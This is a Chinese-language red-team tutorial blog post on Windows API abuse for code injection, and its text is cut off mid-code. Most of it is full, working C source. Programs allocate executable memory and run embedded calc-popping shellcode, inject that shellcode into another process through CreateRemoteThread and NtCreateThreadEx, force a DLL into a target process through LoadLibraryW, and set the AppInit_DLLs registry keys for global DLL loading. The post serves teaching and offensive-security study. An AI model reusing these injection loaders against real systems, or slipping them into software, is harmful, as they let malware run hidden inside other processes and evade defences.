Windows API Exploitation

前言

  确切来说标题应该是Windows API For Red Team,搜集一些api在红队中的应用。大部分技术来自ired,感谢他们的分享。我的代码有些臭毛病,如果你有任何问题,请在文章末尾留言评论,我会在第一时间回复。

执行&注入

什么是注入

  所谓注入就是在第三方进程不知道或者不允许的情况下讲模块或者代码写入对方进程空间,并设法执行的技术。
  在安全领域,”注入”是非常重要的一种技术手段,注入与反注入也一直不断变化的。
  已知的注入方式:远程线程注入、APC注入、消息钩子注入、注册表注入、导入表注入、输入法注入等等。

执行shellcode

  什么是shellcode,通俗来讲shellcode就是代码,一般来说是恶意代码。shellcode为16进制的机器码。下面32位的shellcode,它的作用就是执行计算器。

\x55\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\x38\x4F\x18\x75\xF3\x8B\xFD\x83\xEC\x64\x8B\xEC\x8B\x47\x3C\x8B\x54\x07\x78\x03\xD7\x8B\x4A\x18\x8B\x5A\x20\x03\xDF\x49\x8B\x34\x8B\x03\xF7\xB8\x47\x65\x74\x50\x39\x06\x75\xF1\xB8\x72\x6F\x63\x41\x39\x46\x04\x75\xE7\x8B\x5A\x24\x03\xDF\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDF\x8B\x04\x8B\x03\xC7\x89\x45\x4C\x6A\x00\x68\x61\x72\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x57\xFF\x55\x4C\x89\x45\x50\x6A\x00\x68\x65\x73\x73\x00\x68\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54\x57\xFF\x55\x4C\x89\x45\x54\x6A\x00\x68\x72\x74\x00\x00\x68\x6D\x73\x76\x63\x54\xFF\x55\x50\x8B\xF8\x6A\x00\x68\x65\x6D\x00\x00\x68\x73\x79\x73\x74\x54\x57\xFF\x55\x4C\x89\x45\x5C\x6A\x00\x68\x63\x61\x6C\x63\x54\xFF\x55\x5C\xFF\x55\x54\xC3\xCC
CreateThread

  流程: 首先开辟一段内存,然后shellcode放进该内存中,最后执行这段shellcode

  开辟内存

#include <windows.h>
#include <stdio.h>

int main()
{
    // 执行计算器的shellcode
    unsigned char shellcode[] =
        "\x55\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76"
        "\x1C\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\x38\x4F\x18\x75"
        "\xF3\x8B\xFD\x83\xEC\x64\x8B\xEC\x8B\x47\x3C\x8B\x54"
        "\x07\x78\x03\xD7\x8B\x4A\x18\x8B\x5A\x20\x03\xDF\x49"
        "\x8B\x34\x8B\x03\xF7\xB8\x47\x65\x74\x50\x39\x06\x75"
        "\xF1\xB8\x72\x6F\x63\x41\x39\x46\x04\x75\xE7\x8B\x5A"
        "\x24\x03\xDF\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDF\x8B"
        "\x04\x8B\x03\xC7\x89\x45\x4C\x6A\x00\x68\x61\x72\x79"
        "\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x57"
        "\xFF\x55\x4C\x89\x45\x50\x6A\x00\x68\x65\x73\x73\x00"
        "\x68\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54\x57\xFF"
        "\x55\x4C\x89\x45\x54\x6A\x00\x68\x72\x74\x00\x00\x68"
        "\x6D\x73\x76\x63\x54\xFF\x55\x50\x8B\xF8\x6A\x00\x68"
        "\x65\x6D\x00\x00\x68\x73\x79\x73\x74\x54\x57\xFF\x55"
        "\x4C\x89\x45\x5C\x6A\x00\x68\x63\x61\x6C\x63\x54\xFF"
        "\x55\x5C\xFF\x55\x54\xC3\xCC";

    // 获取大小
    int size = sizeof(shellcode);

    LPVOID lpAddress = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (lpAddress)
    {
        printf("address:%p\n", lpAddress);
    }
    getchar();
}

  得到开辟的地址为:00030000
  
  使用x32dbg 选择附加
  
  将demo附加进去
  
  在内存1窗口中 右键->转到->表达式
  
  输入前面开辟的地址:00030000
  
  从内存中可看到开辟了空间,内容都是空
  
  复制shellcode

#include <windows.h>
#include <stdio.h>

int main()
{
    // 执行计算器的shellcode
    unsigned char shellcode[] =
        "\x55\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76"
        "\x1C\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\x38\x4F\x18\x75"
        "\xF3\x8B\xFD\x83\xEC\x64\x8B\xEC\x8B\x47\x3C\x8B\x54"
        "\x07\x78\x03\xD7\x8B\x4A\x18\x8B\x5A\x20\x03\xDF\x49"
        "\x8B\x34\x8B\x03\xF7\xB8\x47\x65\x74\x50\x39\x06\x75"
        "\xF1\xB8\x72\x6F\x63\x41\x39\x46\x04\x75\xE7\x8B\x5A"
        "\x24\x03\xDF\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDF\x8B"
        "\x04\x8B\x03\xC7\x89\x45\x4C\x6A\x00\x68\x61\x72\x79"
        "\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x57"
        "\xFF\x55\x4C\x89\x45\x50\x6A\x00\x68\x65\x73\x73\x00"
        "\x68\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54\x57\xFF"
        "\x55\x4C\x89\x45\x54\x6A\x00\x68\x72\x74\x00\x00\x68"
        "\x6D\x73\x76\x63\x54\xFF\x55\x50\x8B\xF8\x6A\x00\x68"
        "\x65\x6D\x00\x00\x68\x73\x79\x73\x74\x54\x57\xFF\x55"
        "\x4C\x89\x45\x5C\x6A\x00\x68\x63\x61\x6C\x63\x54\xFF"
        "\x55\x5C\xFF\x55\x54\xC3\xCC";

    // 获取大小
    int size = sizeof(shellcode);

    LPVOID lpAddress = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (lpAddress)
    {
        printf("address:%p\n", lpAddress);

        // 拷贝shellcode
        memcpy(lpAddress,shellcode,size);
    }
    getchar();
}

  运行后,再次查看内存空间,成功将shellcode写入
  
  线程是附属在进程上的执行实体,是代码的执行流程;代码必须通过线程才能执行。这里使用前面学过的创建线程:CreateThread来运行shellcode

  运行shellcode

#include <windows.h>
#include <stdio.h>

int main()
{
    // 执行计算器的shellcode
    unsigned char shellcode[] =
        "\x55\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76"
        "\x1C\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\x38\x4F\x18\x75"
        "\xF3\x8B\xFD\x83\xEC\x64\x8B\xEC\x8B\x47\x3C\x8B\x54"
        "\x07\x78\x03\xD7\x8B\x4A\x18\x8B\x5A\x20\x03\xDF\x49"
        "\x8B\x34\x8B\x03\xF7\xB8\x47\x65\x74\x50\x39\x06\x75"
        "\xF1\xB8\x72\x6F\x63\x41\x39\x46\x04\x75\xE7\x8B\x5A"
        "\x24\x03\xDF\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDF\x8B"
        "\x04\x8B\x03\xC7\x89\x45\x4C\x6A\x00\x68\x61\x72\x79"
        "\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x57"
        "\xFF\x55\x4C\x89\x45\x50\x6A\x00\x68\x65\x73\x73\x00"
        "\x68\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54\x57\xFF"
        "\x55\x4C\x89\x45\x54\x6A\x00\x68\x72\x74\x00\x00\x68"
        "\x6D\x73\x76\x63\x54\xFF\x55\x50\x8B\xF8\x6A\x00\x68"
        "\x65\x6D\x00\x00\x68\x73\x79\x73\x74\x54\x57\xFF\x55"
        "\x4C\x89\x45\x5C\x6A\x00\x68\x63\x61\x6C\x63\x54\xFF"
        "\x55\x5C\xFF\x55\x54\xC3\xCC";

    // 获取大小
    int size = sizeof(shellcode);

    // 1.开辟内存空间
    LPVOID lpAddress = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (lpAddress)
    {
        printf("address:%p\n", lpAddress);

        // 2.复制shellcode
        CopyMemory(lpAddress, shellcode, size);

        // 3.执行shellcode
        HANDLE hThread = CreateThread(NULL, 0, lpAddress, NULL, 0, NULL);
        if (hThread)
        {
            printf("exec shellcode");
            // 等待线程执行完毕 ps:这会导致主线程死锁
            WaitForSingleObject(hThread, INFINITE);
        }
        
        // 另外一种执行shellcode写法
        // (*(void (*)())lpAddress)();
    }
}

  弹出计算器
  
  注意上面的shellcode在各个电脑上并非通用,实验目的让大家更好的理解各函数的工作过程与原理。
  上面是最常见的一种,介绍加载shellcode的其他方法

内嵌汇编
#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] ="";

void main()
{
	    __asm
    {
        
        mov eax, offset shellcode
        jmp eax

    }
}
伪指令
#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] ="";

void main()
{
	    __asm
    {
        
        mov eax, offset shellcode
        _emit 0xFF  
        _emit 0xE0

    }
}
.text段
#pragma section(".text")

__declspec(allocate(".text")) char goodcode[] = "";

int main()
{
    (*(void(*)())(&goodcode))();
}

远程线程

  现在我们要让shellcode注入进其他进程。

  创建远程线程的方法我找到的有四种:1.CreateRemoteThread;2.NtCreateThreadEx;3.RtlCreateUserThread;4.ZwCreateThreadEx(可突破 SESSION 0)。

CreateRemoteThread

  这里要注入的进程命名成A.exe,代码如下

#include <stdio.h>
int main()
{
    printf("hello world");
    getchar();
}

  B.exe代码如下

  开辟内存

#include <windows.h>
#include <stdio.h>
#include <TlHelp32.h>

// 获取PID
DWORD GetPid(char *name)
{
    // 创建进程快照
    HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    // 句柄无效
    if (hProcess == INVALID_HANDLE_VALUE)
    {
        return -1;
    }

    // 快照信息结构体
    PROCESSENTRY32 pe;
    ZeroMemory(&pe, sizeof(pe));
    pe.dwSize = sizeof(pe);

    BOOL flag = Process32First(hProcess, &pe);
    while (flag)
    {
        // 已成功找到进程
        if (strcmp(pe.szExeFile, name) == 0)
        {
            // 返回对应PID
            return pe.th32ProcessID;
        }
        flag = Process32Next(hProcess, &pe);
    }

    CloseHandle(hProcess);

    return -1;
}

int main()
{
    // 执行计算器的shellcode
    unsigned char shellcode[] =
        "\x55\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76"
        "\x1C\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\x38\x4F\x18\x75"
        "\xF3\x8B\xFD\x83\xEC\x64\x8B\xEC\x8B\x47\x3C\x8B\x54"
        "\x07\x78\x03\xD7\x8B\x4A\x18\x8B\x5A\x20\x03\xDF\x49"
        "\x8B\x34\x8B\x03\xF7\xB8\x47\x65\x74\x50\x39\x06\x75"
        "\xF1\xB8\x72\x6F\x63\x41\x39\x46\x04\x75\xE7\x8B\x5A"
        "\x24\x03\xDF\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDF\x8B"
        "\x04\x8B\x03\xC7\x89\x45\x4C\x6A\x00\x68\x61\x72\x79"
        "\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x57"
        "\xFF\x55\x4C\x89\x45\x50\x6A\x00\x68\x65\x73\x73\x00"
        "\x68\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54\x57\xFF"
        "\x55\x4C\x89\x45\x54\x6A\x00\x68\x72\x74\x00\x00\x68"
        "\x6D\x73\x76\x63\x54\xFF\x55\x50\x8B\xF8\x6A\x00\x68"
        "\x65\x6D\x00\x00\x68\x73\x79\x73\x74\x54\x57\xFF\x55"
        "\x4C\x89\x45\x5C\x6A\x00\x68\x63\x61\x6C\x63\x54\xFF"
        "\x55\x5C\xFF\x55\x54\xC3\xCC";

    // 获取大小
    int size = sizeof(shellcode);

    // 获取A.exe的PID
    DWORD dwProcessId = GetPid("A.exe");

    // 1.打开进程
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);

    if (hProcess)
    {
        // 2.开辟内存空间 VirtualAllocEx 指定进程开辟内存
        LPVOID lpAddress = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if (lpAddress)
        {
            printf("address:%p\n", lpAddress);
        }
    }
}

  查看内存空间
  
  使用WriteProcessMemory将shellcode写入指定进程中的内存区域

BOOL WriteProcessMemory(
    HANDLE  hProcess,					// 进程句柄
    LPVOID  lpBaseAddress,				// 写入内存首地址
    LPCVOID lpBuffer,					// 写入内容
    SIZE_T  nSize,						// 写入大小
    SIZE_T  *lpNumberOfBytesWritten		// 设置成NULL即可
);										// 成功返回非0 失败返回0

  写入shellcode

#include <windows.h>
#include <stdio.h>
#include <TlHelp32.h>

// 获取PID
DWORD GetPid(char *name)
{
    // 创建进程快照
    HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    // 句柄无效
    if (hProcess == INVALID_HANDLE_VALUE)
    {
        return -1;
    }

    // 快照信息结构体
    PROCESSENTRY32 pe;
    ZeroMemory(&pe, sizeof(pe));
    pe.dwSize = sizeof(pe);

    BOOL flag = Process32First(hProcess, &pe);
    while (flag)
    {
        // 已成功找到进程
        if (strcmp(pe.szExeFile, name) == 0)
        {
            // 返回对应PID
            return pe.th32ProcessID;
        }
        flag = Process32Next(hProcess, &pe);
    }

    CloseHandle(hProcess);

    return -1;
}

int main()
{
    // 执行计算器的shellcode
    unsigned char shellcode[] =
        "\x55\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76"
        "\x1C\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\x38\x4F\x18\x75"
        "\xF3\x8B\xFD\x83\xEC\x64\x8B\xEC\x8B\x47\x3C\x8B\x54"
        "\x07\x78\x03\xD7\x8B\x4A\x18\x8B\x5A\x20\x03\xDF\x49"
        "\x8B\x34\x8B\x03\xF7\xB8\x47\x65\x74\x50\x39\x06\x75"
        "\xF1\xB8\x72\x6F\x63\x41\x39\x46\x04\x75\xE7\x8B\x5A"
        "\x24\x03\xDF\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDF\x8B"
        "\x04\x8B\x03\xC7\x89\x45\x4C\x6A\x00\x68\x61\x72\x79"
        "\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x57"
        "\xFF\x55\x4C\x89\x45\x50\x6A\x00\x68\x65\x73\x73\x00"
        "\x68\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54\x57\xFF"
        "\x55\x4C\x89\x45\x54\x6A\x00\x68\x72\x74\x00\x00\x68"
        "\x6D\x73\x76\x63\x54\xFF\x55\x50\x8B\xF8\x6A\x00\x68"
        "\x65\x6D\x00\x00\x68\x73\x79\x73\x74\x54\x57\xFF\x55"
        "\x4C\x89\x45\x5C\x6A\x00\x68\x63\x61\x6C\x63\x54\xFF"
        "\x55\x5C\xFF\x55\x54\xC3\xCC";

    // 获取大小
    int size = sizeof(shellcode);

    // 获取A.exe的PID
    DWORD dwProcessId = GetPid("A.exe");

    // 1.打开进程
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);

    if (hProcess)
    {
        // 2.开辟内存空间 VirtualAllocEx 指定进程开辟内存
        LPVOID lpAddress = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if (lpAddress)
        {
            printf("address:%p\n", lpAddress);

            // 3.写入shellcode
            BOOL bRet = WriteProcessMemory(hProcess, lpAddress, shellcode, size, NULL);
            if (bRet)
            {
                printf("success write shellcode\n");
            }
        }
    }
}

  再次查看内存空间,成功将shellcode写入
  
  执行shellcode,要用到创建远程线程:CreateRemoteThread,它能够创建一个在其它进程地址空间中运行的线程

  可看到只比CreateThread多一个进程句柄参数

HANDLE CreateRemoteThread(
    HANDLE                 hProcess,			// 进程句柄
    LPSECURITY_ATTRIBUTES  lpThreadAttributes,	// 安全属性 通常为NULL表示使用默认设置
    SIZE_T                 dwStackSize,			// 线程栈空间大小 传入0表示使用默认大小(1MB)
    LPTHREAD_START_ROUTINE lpStartAddress,		// 表示新线程所执行的线程函数地址
    LPVOID                 lpParameter,			// 线程函数的参数
    DWORD                  dwCreationFlags,		// 控制线程的创建 0 创建完毕立即调度 CREATE_SUSPENDED 创建后挂起
    LPDWORD                lpThreadId			// 返回线程的ID号 NULL表示不需要返回该线程ID号
);												// 返回值:线程句柄 创建失败返回NULL

  下面代码会引发一个问题,虽然成功弹出了计算器,但A.exe进程也退出了。尚未解决。

#include <windows.h>
#include <stdio.h>
#include <TlHelp32.h>

// 获取PID
DWORD GetPid(char *name)
{
    // 创建进程快照
    HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    // 句柄无效
    if (hProcess == INVALID_HANDLE_VALUE)
    {
        return -1;
    }

    // 快照信息结构体
    PROCESSENTRY32 pe;
    ZeroMemory(&pe, sizeof(pe));
    pe.dwSize = sizeof(pe);

    BOOL flag = Process32First(hProcess, &pe);
    while (flag)
    {
        // 已成功找到进程
        if (strcmp(pe.szExeFile, name) == 0)
        {
            // 返回对应PID
            return pe.th32ProcessID;
        }
        flag = Process32Next(hProcess, &pe);
    }

    CloseHandle(hProcess);

    return -1;
}

int main()
{
    // 执行计算器的shellcode
    unsigned char shellcode[] =
        "\x55\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76"
        "\x1C\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\x38\x4F\x18\x75"
        "\xF3\x8B\xFD\x83\xEC\x64\x8B\xEC\x8B\x47\x3C\x8B\x54"
        "\x07\x78\x03\xD7\x8B\x4A\x18\x8B\x5A\x20\x03\xDF\x49"
        "\x8B\x34\x8B\x03\xF7\xB8\x47\x65\x74\x50\x39\x06\x75"
        "\xF1\xB8\x72\x6F\x63\x41\x39\x46\x04\x75\xE7\x8B\x5A"
        "\x24\x03\xDF\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDF\x8B"
        "\x04\x8B\x03\xC7\x89\x45\x4C\x6A\x00\x68\x61\x72\x79"
        "\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x57"
        "\xFF\x55\x4C\x89\x45\x50\x6A\x00\x68\x65\x73\x73\x00"
        "\x68\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54\x57\xFF"
        "\x55\x4C\x89\x45\x54\x6A\x00\x68\x72\x74\x00\x00\x68"
        "\x6D\x73\x76\x63\x54\xFF\x55\x50\x8B\xF8\x6A\x00\x68"
        "\x65\x6D\x00\x00\x68\x73\x79\x73\x74\x54\x57\xFF\x55"
        "\x4C\x89\x45\x5C\x6A\x00\x68\x63\x61\x6C\x63\x54\xFF"
        "\x55\x5C\xFF\x55\x54\xC3\xCC";

    // 获取大小
    int size = sizeof(shellcode);

    // 获取A.exe的PID
    DWORD dwProcessId = GetPid("A.exe");

    // 1.打开进程
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);

    if (hProcess)
    {
        // 2.开辟内存空间 VirtualAllocEx 指定进程开辟内存
        LPVOID lpAddress = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if (lpAddress)
        {
            printf("address:%p\n", lpAddress);

            // 3.写入shellcode
            BOOL bRet = WriteProcessMemory(hProcess, lpAddress, shellcode, size, NULL);
            if (bRet)
            {
                printf("success write shellcode\n");

                // 4.执行shellcode
                HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, lpAddress, NULL, 0, NULL);
                if (hThread)
                {
                    printf("exec shellcode\n");
                }
            }
        }
    }
}
NtCreateThreadEx

  先说说什么是Native API。为了方便与操作系统进行交互,程序员一般使用微软推荐的标准API(Win 32 API)。标准Windows APIs是在Native APIs的基础上包装产生的。Native APIs 或 Undocumented APIs 都可以在 ntdll.dll 库中找到。微软不推荐使用这些API。native API也使用syscalls与os内核交互,微软使用这种架构是因为它可以在不影响标准API的情况下改变操作系统内核。

  Native API也被称为无文档API,因为你通常找不到它们的官方文档。我们主要是通过查看其他人的代码或者别人总结的非官方文档,来查看它们的使用方法。

  这次,尝试使用原生API。首先,需要将ntdll.dll加载到进程中。然后需要自定义与原始函数格式完全相同的函数指针,并使用这些函数的基地址来初始化这些指针.

  可以使用GetModuleHandle函数,动态加载ntdll.dll或任何其他dll到进程中,它会返回该库的一个句柄。

HMODULE hmodule = GetModuleHandle(L"ntdll.dll");

  然后定义函数指针类型,并使用GetProcAddress函数获取函数的基地址,并将其赋值给指针,以下是NtCreateThreadEx的使用例子。

// 定义NtCreateThreadEx函数指针
typedef NTSTATUS(NTAPI* pfnNtCreateThreadEx)
(
    OUT PHANDLE hThread,
    IN ACCESS_MASK DesiredAccess,
    IN PVOID ObjectAttributes,
    IN HANDLE ProcessHandle,
    IN PVOID lpStartAddress,
    IN PVOID lpParameter,
    IN ULONG Flags,
    IN SIZE_T StackZeroBits,
    IN SIZE_T SizeOfStackCommit,
    IN SIZE_T SizeOfStackReserve,
    OUT PVOID lpBytesBuffer
);

// 加载ntdll.dll
HMODULE hmodule = GetModuleHandle(L"ntdll.dll");
// 获取NtCreateThreadEx地址
pfnNtCreateThreadEx NtCreateThreadEx = (pfnNtCreateThreadEx)GetProcAddress(hmodule, "NtCreateThreadEx");
// 使用NtCreateThreadEx
HANDLE hThread = NULL;
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL);

  你不需要理解NtCreateThreadEx各个参数具体什么意思,因为没有官方api,所以直接看别人的代码来使用就行。
  下面代码Visual Studio编译通过

#include <windows.h>
#include <stdio.h>
#include <TlHelp32.h>
#include <comdef.h>

// 定义NtCreateThreadEx函数指针
typedef NTSTATUS(NTAPI* pfnNtCreateThreadEx)
(
    OUT PHANDLE hThread,
    IN ACCESS_MASK DesiredAccess,
    IN PVOID ObjectAttributes,
    IN HANDLE ProcessHandle,
    IN PVOID lpStartAddress,
    IN PVOID lpParameter,
    IN ULONG Flags,
    IN SIZE_T StackZeroBits,
    IN SIZE_T SizeOfStackCommit,
    IN SIZE_T SizeOfStackReserve,
    OUT PVOID lpBytesBuffer
);

// 获取PID
DWORD GetPid(char name[])
{
    // 创建进程快照
    HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    // 句柄无效
    if (hProcess == INVALID_HANDLE_VALUE)
    {
        return -1;
    }

    // 快照信息结构体
    PROCESSENTRY32 pe;
    ZeroMemory(&pe, sizeof(pe));
    pe.dwSize = sizeof(pe);

    BOOL flag = Process32First(hProcess, &pe);
    while (flag)
    {
        // 已成功找到进程
        if (strcmp( _bstr_t(pe.szExeFile), name) == 0)
        {
            // 返回对应PID
            return pe.th32ProcessID;
        }
        flag = Process32Next(hProcess, &pe);
    }

    CloseHandle(hProcess);

    return -1;
}

int main()
{
    // 执行计算器的shellcode
    unsigned char shellcode[] =
        "\x55\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76"
        "\x1C\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\x38\x4F\x18\x75"
        "\xF3\x8B\xFD\x83\xEC\x64\x8B\xEC\x8B\x47\x3C\x8B\x54"
        "\x07\x78\x03\xD7\x8B\x4A\x18\x8B\x5A\x20\x03\xDF\x49"
        "\x8B\x34\x8B\x03\xF7\xB8\x47\x65\x74\x50\x39\x06\x75"
        "\xF1\xB8\x72\x6F\x63\x41\x39\x46\x04\x75\xE7\x8B\x5A"
        "\x24\x03\xDF\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDF\x8B"
        "\x04\x8B\x03\xC7\x89\x45\x4C\x6A\x00\x68\x61\x72\x79"
        "\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x57"
        "\xFF\x55\x4C\x89\x45\x50\x6A\x00\x68\x65\x73\x73\x00"
        "\x68\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54\x57\xFF"
        "\x55\x4C\x89\x45\x54\x6A\x00\x68\x72\x74\x00\x00\x68"
        "\x6D\x73\x76\x63\x54\xFF\x55\x50\x8B\xF8\x6A\x00\x68"
        "\x65\x6D\x00\x00\x68\x73\x79\x73\x74\x54\x57\xFF\x55"
        "\x4C\x89\x45\x5C\x6A\x00\x68\x63\x61\x6C\x63\x54\xFF"
        "\x55\x5C\xFF\x55\x54\xC3\xCC";

    // 获取大小
    int size = sizeof(shellcode);

    char name[] = "A.exe";
    // 获取A.exe的PID
    DWORD dwProcessId = GetPid(name);
    
    // 1.打开进程
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);

    if (hProcess)
    {
        // 2.开辟内存空间 VirtualAllocEx 指定进程开辟内存
        LPVOID lpAddress = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if (lpAddress)
        {
            printf("address:%p\n", lpAddress);

            // 3.写入shellcode
            BOOL bRet = WriteProcessMemory(hProcess, lpAddress, shellcode, size, NULL);
            if (bRet)
            {
                // 加载ntdll.dll
                HMODULE hmodule = GetModuleHandle(L"ntdll.dll");
                if (!hmodule) return 0;

                // 获取NtCreateThreadEx地址
                pfnNtCreateThreadEx NtCreateThreadEx = (pfnNtCreateThreadEx)GetProcAddress(hmodule, "NtCreateThreadEx");
                if (!NtCreateThreadEx) return 0;

                // 4.执行shellcode
                HANDLE hThread = NULL;
                NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
                if (!hThread) return 0;

                printf("success write shellcode\n");

                WaitForSingleObject(hThread, INFINITE);
            }
        }
    }
}

DLL

  dll注入即是让程序A强行加载程序B给定的a.dll,并执行程序B给定的a.dll里面的代码。dll注入也有非常多的方法,下图说明了几乎每一种DLL注入的流程。
  

远程线程

  优点:线程独立、针对进程。缺点:没有权限,一切白干

  这里使用CreateRemoteThread进行dll注入。
  先介绍一个函数LoadLibrary,将指定的模块加载到调用进程的地址空间中

HMODULE LoadLibraryA(
	LPCSTR lpLibFileName	// 模块名称 可以是dll文件或exe文件
);

  注入思路就是先获取到LoadLibrary的函数地址,之后使用CreateRemoteThread加载这段地址即可
  简单的dll示例,dlltest.c

#include "dlltest.h"
#include <Windows.h>

int myAdd(int a, int b)
{
	return a+b;
}

BOOL APIENTRY DllMain(HANDLE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		MessageBox(0, TEXT("注入成功"), 0, 0);
		break;
	case DLL_PROCESS_DETACH:
		MessageBox(0, TEXT("注入结束"), 0, 0);
		break;
	}
	return TRUE;
}

  dlltest.h

#ifndef PCH_H
#define PCH_H

// 添加要在此处预编译的标头

extern "C" _declspec(dllexport) int myAdd(int a, int b);

#endif //PCH_H

  注入代码

#include <stdlib.h>
#include <stdio.h>
#include <Windows.h>

int main(int argc, char* argv[]) {
	HANDLE processHandle;
	PVOID remoteBuffer;
	BOOL bRet;
    // dll路径
	wchar_t dllPath[] = TEXT("D:\\dlltest.dll");

	DWORD pid = 17020;
	// 打开进程
	processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	if (!processHandle) return 0;

	// 分配空间
	remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (!remoteBuffer) return 0;

	// dll文件路径的数据复制到目标进程中
	bRet = WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof(dllPath), NULL);
	if (!bRet) return 0;

	//获得kernel32.dll的模块句柄
	HMODULE hMod = GetModuleHandle(L"kernel32.dll");
	if (!hMod) return 0;

	// 获得LoadLibraryW函数的起始地址
	PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");
	if (!threatStartRoutineAddress) return 0;

	// 执行dll文件
	HANDLE hThread = CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);
	if (!hThread) return 0;

	CloseHandle(processHandle);
	return 0;
}

  成功注入dll
  

注册表

  优点:简单、全局注入。缺点:死板、不实用、不主动、不稳定、并且只有调用了User32.dll的进程才会发生这种dll注入

  注册表位置:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
  
  其中AppInit_DLLs键的值是要注入的DLL文件路径。LoadAppInit_DLLs键值表示AppInit_DLLs键是否有效,默认是0表示无效,1表示有效

  下面的代码将AppInit_DLLs的值设置为c:\test.dllLoadAppInit_DLLs的值设置为1

#include <stdio.h>
#include <Windows.h>

int main()
{
	HKEY hKey;
	char subKey[] = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows";
	long ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, subKey, 0, KEY_ALL_ACCESS | KEY_WOW64_64KEY, &hKey);
	if (ret != ERROR_SUCCESS)
	{
		printf("RegOpenKeyEx fail\n");
		return 0;
	}

	// 要注入的dll位置
	char AppInitVal[] = "c:\\test.dll";
	RegSetValueEx(hKey, "AppInit_DLLs", 0, REG_SZ, (const BYTE*)AppInitVal, sizeof(AppInitVal));

	DWORD LoadAppVal = 1;
